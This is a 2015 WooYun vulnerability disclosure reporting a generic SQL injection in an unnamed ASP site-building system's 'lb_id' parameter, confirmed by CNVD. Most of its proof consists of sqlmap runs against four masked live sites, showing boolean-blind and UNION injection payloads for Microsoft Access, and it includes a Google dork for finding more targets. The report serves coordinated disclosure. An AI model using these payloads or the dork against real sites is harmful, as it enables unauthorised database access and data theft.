当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147282

漏洞标题:某建站系统通用型SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 黑吃黑

提交时间:2015-10-18 17:27

修复时间:2016-01-20 15:00

公开时间:2016-01-20 15:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-22: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-16: 细节向核心白帽子及相关领域专家公开
2015-12-26: 细节向普通白帽子公开
2016-01-05: 细节向实习白帽子公开
2016-01-20: 细节向公众公开

简要描述:

有人说某天漏洞平台好,我依然喜欢乌云

详细说明:

新的注入点:

谷歌:inurl:product_show.asp?lb_id=
随便选几个,其他审核牛自己搜一下就行。。。
http://**.**.**.**/product_show.asp?lb_id=34
http://**.**.**.**/products_show.asp?lb_id=39
http://**.**.**.**/products_show.asp?lb_id=38
http://**.**.**.**/product_show.asp?lb_id=211

漏洞证明:

1.png


E:\sqlmap>python sqlmap.py -u http://**.**.**.**/product_show.asp?lb_id=34 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151016}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program
[*] starting at 20:52:39
[20:52:39] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output directory
[20:52:39] [INFO] testing connection to the target URL
[20:52:40] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:52:41] [INFO] testing if the target URL is stable
[20:52:42] [INFO] target URL is stable
[20:52:42] [INFO] testing if GET parameter 'lb_id' is dynamic
[20:52:43] [INFO] heuristics detected web page charset 'GB2312'
[20:52:43] [INFO] confirming that GET parameter 'lb_id' is dynamic
[20:52:43] [WARNING] GET parameter 'lb_id' does not appear dynamic
[20:52:43] [INFO] heuristic (basic) test shows that GET parameter 'lb_id' might be injectable (possible DBMS:
'Microsoft Access')
[20:52:43] [INFO] testing for SQL injection on GET parameter 'lb_id'
it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes?
[Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk
(1) values? [Y/n] y
[20:52:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:52:49] [WARNING] reflective value(s) found and filtering out
[20:52:50] [INFO] GET parameter 'lb_id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[20:52:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:52:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one
other (potential) technique found
[20:52:54] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number
of query columns. Automatically extending the range for current UNION query injection technique test
[20:52:59] [INFO] target URL appears to have 13 columns in query
[20:53:15] [INFO] GET parameter 'lb_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'lb_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: lb_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lb_id=34 AND 6498=6498
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: lb_id=-3723 UNION ALL SELECT NULL,CHR(113)&CHR(107)&CHR(113)&CHR(107)&CHR(113)&CHR(70)&CHR(71)&CHR
(77)&CHR(71)&CHR(112)&CHR(117)&CHR(104)&CHR(67)&CHR(115)&CHR(112)&CHR(113)&CHR(79)&CHR(115)&CHR(83)&CHR(106)&CHR
(119)&CHR(83)&CHR(81)&CHR(68)&CHR(66)&CHR(74)&CHR(111)&CHR(65)&CHR(101)&CHR(79)&CHR(99)&CHR(120)&CHR(116)&CHR
(103)&CHR(112)&CHR(72)&CHR(99)&CHR(82)&CHR(70)&CHR(74)&CHR(108)&CHR(74)&CHR(118)&CHR(109)&CHR(112)&CHR(113)&CHR
(112)&CHR(113)&CHR(98)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[20:53:48] [INFO] testing Microsoft Access
[20:53:48] [INFO] confirming Microsoft Access
[20:53:49] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
http://**.**.**.**/products_show.asp?lb_id=39
E:\sqlmap>python sqlmap.py -u http://**.**.**.**/products_show.asp?lb_id=39 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151016}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program
[*] starting at 21:23:21
[21:23:22] [INFO] testing connection to the target URL
[21:23:22] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[21:23:23] [INFO] testing if the target URL is stable
[21:23:24] [INFO] target URL is stable
[21:23:24] [INFO] testing if GET parameter 'lb_id' is dynamic
[21:23:24] [INFO] heuristics detected web page charset 'GB2312'
[21:23:24] [INFO] confirming that GET parameter 'lb_id' is dynamic
[21:23:25] [WARNING] GET parameter 'lb_id' does not appear dynamic
[21:23:25] [INFO] heuristic (basic) test shows that GET parameter 'lb_id' might be injectable (possible DBMS:
'Microsoft Access')
[21:23:25] [INFO] testing for SQL injection on GET parameter 'lb_id'
it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes?
[Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk
(1) values? [Y/n] y
[21:23:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:23:30] [WARNING] reflective value(s) found and filtering out
[21:23:31] [INFO] GET parameter 'lb_id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[21:23:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:23:31] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one
other (potential) technique found
[21:23:32] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number
of query columns. Automatically extending the range for current UNION query injection technique test
[21:23:34] [INFO] target URL appears to have 16 columns in query
[21:23:50] [INFO] GET parameter 'lb_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'lb_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: lb_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lb_id=39 AND 8035=8035
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: lb_id=-5622 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(113)&CHR(118)&CHR
(98)&CHR(113)&CHR(102)&CHR(109)&CHR(81)&CHR(108)&CHR(110)&CHR(117)&CHR(97)&CHR(70)&CHR(89)&CHR(103)&CHR(88)&CHR
(120)&CHR(87)&CHR(72)&CHR(97)&CHR(67)&CHR(75)&CHR(65)&CHR(69)&CHR(67)&CHR(70)&CHR(100)&CHR(118)&CHR(119)&CHR(121)&CHR
(105)&CHR(100)&CHR(105)&CHR(84)&CHR(106)&CHR(121)&CHR(118)&CHR(68)&CHR(84)&CHR(78)&CHR(84)&CHR(115)&CHR(75)&CHR
(67)&CHR(69)&CHR(113)&CHR(120)&CHR(122)&CHR(106)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[21:23:54] [INFO] testing Microsoft Access
[21:23:55] [INFO] confirming Microsoft Access
[21:23:55] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2000
web application technology: ASP.NET, ASP, Microsoft IIS 5.0
back-end DBMS: Microsoft Access
E:\sqlmap>python sqlmap.py -u http://**.**.**.**/products_show.asp?lb_id=38 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151016}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:26:03
[21:26:03] [INFO] testing connection to the target URL
[21:26:04] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[21:26:05] [INFO] testing if the target URL is stable
[21:26:06] [INFO] target URL is stable
[21:26:06] [INFO] testing if GET parameter 'lb_id' is dynamic
[21:26:07] [INFO] heuristics detected web page charset 'GB2312'
[21:26:07] [INFO] confirming that GET parameter 'lb_id' is dynamic
[21:26:07] [WARNING] GET parameter 'lb_id' does not appear dynamic
[21:26:07] [INFO] heuristic (basic) test shows that GET parameter 'lb_id' might be injectable (possible DBMS: 'Microsoft Access')
[21:26:10] [INFO] testing for SQL injection on GET parameter 'lb_id'
it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1) values? [Y/n] y
[21:26:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:26:15] [WARNING] reflective value(s) found and filtering out
[21:26:17] [INFO] GET parameter 'lb_id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[21:26:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:26:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:26:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:26:20] [INFO] target URL appears to have 14 columns in query
[21:26:37] [INFO] GET parameter 'lb_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'lb_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: lb_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lb_id=38 AND 8153=8153
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: lb_id=-9263 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(98)&CHR(106)&CHR(122)&CHR(113)&CHR(115)&CHR(102)&CHR(74)&CHR(83)&CHR(100)&CHR(65)&CHR(120)&CHR(110)&CHR(118)&CHR(83)&CHR(117)&CHR(77)&CHR(79)&CHR(75)&CHR(73)&CHR(73)&CHR(69)&CHR(75)&CHR(112)&CHR(73)&CHR(107)&CHR(108)&CHR(117)&CHR(84)&CHR(99)&CHR(81)&CHR(67)&CHR(102)&CHR(88)&CHR(106)&CHR(84)&CHR(74)&CHR(113)&CHR(110)&CHR(114)&CHR(85)&CHR(107)&CHR(86)&CHR(101)&CHR(75)&CHR(113)&CHR(107)&CHR(112)&CHR(122)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[21:26:40] [INFO] testing Microsoft Access
[21:26:41] [INFO] confirming Microsoft Access
[21:26:41] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
E:\sqlmap>python sqlmap.py -u http://**.**.**.**/product_show.asp?lb_id=211 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151016}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:36:03
[21:36:03] [INFO] testing connection to the target URL
[21:36:07] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[21:36:07] [INFO] testing if the target URL is stable
[21:36:37] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request(s)
[21:36:59] [INFO] target URL is stable
[21:36:59] [INFO] testing if GET parameter 'lb_id' is dynamic
[21:36:59] [INFO] heuristics detected web page charset 'GB2312'
[21:36:59] [INFO] confirming that GET parameter 'lb_id' is dynamic
[21:37:00] [WARNING] GET parameter 'lb_id' does not appear dynamic
[21:37:00] [INFO] heuristic (basic) test shows that GET parameter 'lb_id' might be injectable (possible DBMS: 'Microsoft Access')
[21:37:00] [INFO] testing for SQL injection on GET parameter 'lb_id'
it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1) values? [Y/n] y
[21:37:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:37:23] [WARNING] reflective value(s) found and filtering out
[21:37:24] [INFO] GET parameter 'lb_id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[21:37:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:37:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:37:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:37:29] [INFO] target URL appears to have 13 columns in query
[21:37:45] [INFO] GET parameter 'lb_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'lb_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: lb_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lb_id=211 AND 5400=5400
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: lb_id=-8412 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(122)&CHR(112)&CHR(118)&CHR(113)&CHR(68)&CHR(77)&CHR(110)&CHR(81)&CHR(85)&CHR(90)&CHR(111)&CHR(101)&CHR(107)&CHR(106)&CHR(103)&CHR(76)&CHR(78)&CHR(87)&CHR(113)&CHR(106)&CHR(65)&CHR(89)&CHR(73)&CHR(74)&CHR(66)&CHR(85)&CHR(121)&CHR(119)&CHR(74)&CHR(90)&CHR(65)&CHR(78)&CHR(83)&CHR(76)&CHR(69)&CHR(74)&CHR(117)&CHR(75)&CHR(99)&CHR(69)&CHR(90)&CHR(104)&CHR(89)&CHR(111)&CHR(113)&CHR(106)&CHR(106)&CHR(122)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[21:38:04] [INFO] testing Microsoft Access
[21:38:04] [INFO] confirming Microsoft Access
[21:38:04] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access

修复方案:

不知道那个厂商开发的,懒得找,报给cert吧

版权声明:转载请注明来源 黑吃黑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-22 14:50

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无